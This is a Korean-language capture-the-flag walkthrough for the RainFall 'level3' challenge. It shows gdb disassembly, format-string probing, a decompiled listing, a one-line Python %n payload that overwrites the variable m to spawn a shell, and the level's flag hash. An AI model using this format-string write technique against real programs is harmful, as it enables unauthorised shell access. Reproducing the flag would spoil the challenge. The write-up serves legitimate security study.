

level3

≡ 태그	Assembly	FormatStringAttack	Shell
☼ 상태	완료		

풀이과정

[겪었던 어려움](#)

[풀이과정](#)

[Format String Vulnerability](#)

[정답](#)

[출처](#)

풀이과정

겪었던 어려움

주어진 인자 m을 어떻게 확인해야하는지 잘 몰라서 오래걸림

풀이과정

gdb를 통해서 확인해보면 v함수가 존재하고, v함수 실행후 메인이 종료됨을 알 수 있다.

```
(gdb) disas main
Dump of assembler code for function main:
   0x0804851a <+0>: push    %ebp
   0x0804851b <+1>: mov     %esp,%ebp
   0x0804851d <+3>: and     $0xffffffff0,%esp
   0x08048520 <+6>: call    0x80484a4 <v>
   0x08048525 <+11>: leave
   0x08048526 <+12>: ret
End of assembler dump.
```

```
(gdb) disas v
Dump of assembler code for function v:
   0x080484a4 <+0>: push    %ebp
   0x080484a5 <+1>: mov     %esp,%ebp
   0x080484a7 <+3>: sub     $0x218,%esp
   0x080484ad <+9>: mov     0x8049860,%eax
   0x080484b2 <+14>: mov     %eax,0x8(%esp)
   0x080484b6 <+18>: movl    $0x200,0x4(%esp)
   0x080484be <+26>: lea     -0x208(%ebp),%eax
   0x080484c4 <+32>: mov     %eax,(%esp)
   0x080484c7 <+35>: call    0x80483a0 <fgets@plt>
```

```

0x080484cc <+40>: lea    -0x208(%ebp),%eax
0x080484d2 <+46>: mov    %eax, (%esp)
0x080484d5 <+49>: call   0x8048390 <printf@plt>
0x080484da <+54>: mov    0x804988c,%eax
0x080484df <+59>: cmp    $0x40,%eax
0x080484e2 <+62>: jne    0x8048518 <v+116>
0x080484e4 <+64>: mov    0x8049880,%eax
0x080484e9 <+69>: mov    %eax,%edx
0x080484eb <+71>: mov    $0x8048600,%eax
0x080484f0 <+76>: mov    %edx,0xc(%esp)
0x080484f4 <+80>: movl   $0xc,0x8(%esp)
0x080484fc <+88>: movl   $0x1,0x4(%esp)
0x08048504 <+96>: mov    %eax, (%esp)
0x08048507 <+99>: call   0x80483b0 <fwrite@plt>
0x0804850c <+104>: movl   $0x804860d, (%esp)
0x08048513 <+111>: call   0x80483c0 <system@plt>
0x08048518 <+116>: leave
0x08048519 <+117>: ret
End of assembler dump.

```

앞에 문제들과 달리 gets가 fgets로 바뀌어있어서 슬펐다.. 하지만 새로운 printf는 다음과 같은 보안적 허점이 있다.

Format String Vulnerability

```

level3@RainFall:~$ ./level3
'' %x %x %x %x %x
'' 200 b7fd1ac0 b7ff37d0 25202727 78252078

level3@RainFall:~$ ./level3
BBBB %p %p %p %p %p %p
BBBB 0x200 0xb7fd1ac0 0xb7ff37d0
0x42424242 0x20702520 0x25207025

level3@RainFall:~$ ./level3
test %x %x %x %x
test 200 b7fd1ac0 b7ff37d0 74736574

```

포매터 앞쪽 값이 바뀔때 따라서 네 번째 포매터 값이 바뀌는 것을 알 수 있다.

이를 염두해두고 주어진 파일을 디컴파일 시켜보면 아래와 같은 결과를 알 수 있었다.

```

void v() {
    char buffer[520]; // 520 바이트 크기의 버퍼 생성

    fgets(buffer, 0x200, stdin);
}

```

```

// 표준 입력에서 최대 512 바이트 읽어 버퍼에 저장
printf(buffer); // 버퍼의 내용 출력

if (*(int*)0x804988c == 0x40) {
// 특정 메모리 주소의 값이 0x40인지 확인
    fwrite(*(void**)0x8049880, 0xc, 1, stdout);
// 표준 출력에 12 바이트 쓰기
    system("/bin/sh");
// /bin/sh 명령 실행
}

return;
}

int main() {
    v(); // v 함수 호출
    return 0;
}

```

0x40은 10진수상 64임을 알 수 있었다. 이를 통해서 printf를 실행시켜 포맷스트링 취약점을 건들여서 0x804988c값을 64로 만들어서 `/bin/sh` 을 실행시키면 되겠다는 것을 추측할 수 있다.

해당주소는 gdb를 통해서 알 수 있었다.

```

(gdb) info variables
All defined variables:

Non-debugging symbols:
0x080485f8  _fp_hw
0x080485fc  _IO_stdin_used
0x08048734  __FRAME_END__
0x08049738  __CTOR_LIST__
0x08049738  __init_array_end
0x08049738  __init_array_start
0x0804973c  __CTOR_END__
0x08049740  __DTOR_LIST__
0x08049744  __DTOR_END__
0x08049748  __JCR_END__
0x08049748  __JCR_LIST__
0x0804974c  _DYNAMIC
0x08049818  _GLOBAL_OFFSET_TABLE_
0x0804983c  __data_start
0x0804983c  data_start
0x08049840  __dso_handle
0x08049860  stdin@@GLIBC_2.0
0x08049880  stdout@@GLIBC_2.0

```

```
0x08049884 completed.6159
0x08049888 dtor_idx.6161
0x0804988c m
```

m이라는 변수가 0x0804988c를 쓰고 있었다는 것을 알 수 있었고, 이를 이용해서 이 값을 아래의 명령어를 통해서 64로 만들어서 정답을 알 수 있었다.

```
(python -c 'print "\x8c\x98\x04\x08" + "A" * 60 + "%4$n"' && cat) | ./level3
```

여기서 %4\$n은 출력된 문자열을 저장하는 %n을 이용해서 4번째 인자에 담으라는 포매터 표현방식이다.

/

정답

```
b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa
```

출처

포맷 스트링 취약점(Format String Vulnerability)

· 포맷 스트링 - 일반적으로 사용자로부터 입력을 받아들이거나 결과를 출력하기 위하여 사용하는 형식 - 프로그래밍 언어에서 사용하는 서식 문자 · 포맷 스트링 취약점 - C언어의 printf()와 같은 함수에서 사용자의 입력에 대한 출력을 수행할 때 발생할 수 있는

<https://ajy1120.tistory.com/3>



[Format String Attack] 포맷 스트링 공격이란?

Format String Attack [1] Format String Attack서론2000년도 후반에 해커들 사이에 큰 반향을 일으키 보고서 하나가 발표되었다.Format String Attack...Format String Attack이란 무엇인가? 이것은 기존에 가장 널리 사용되고 있던 Buffer

<https://eunice513.tistory.com/16>

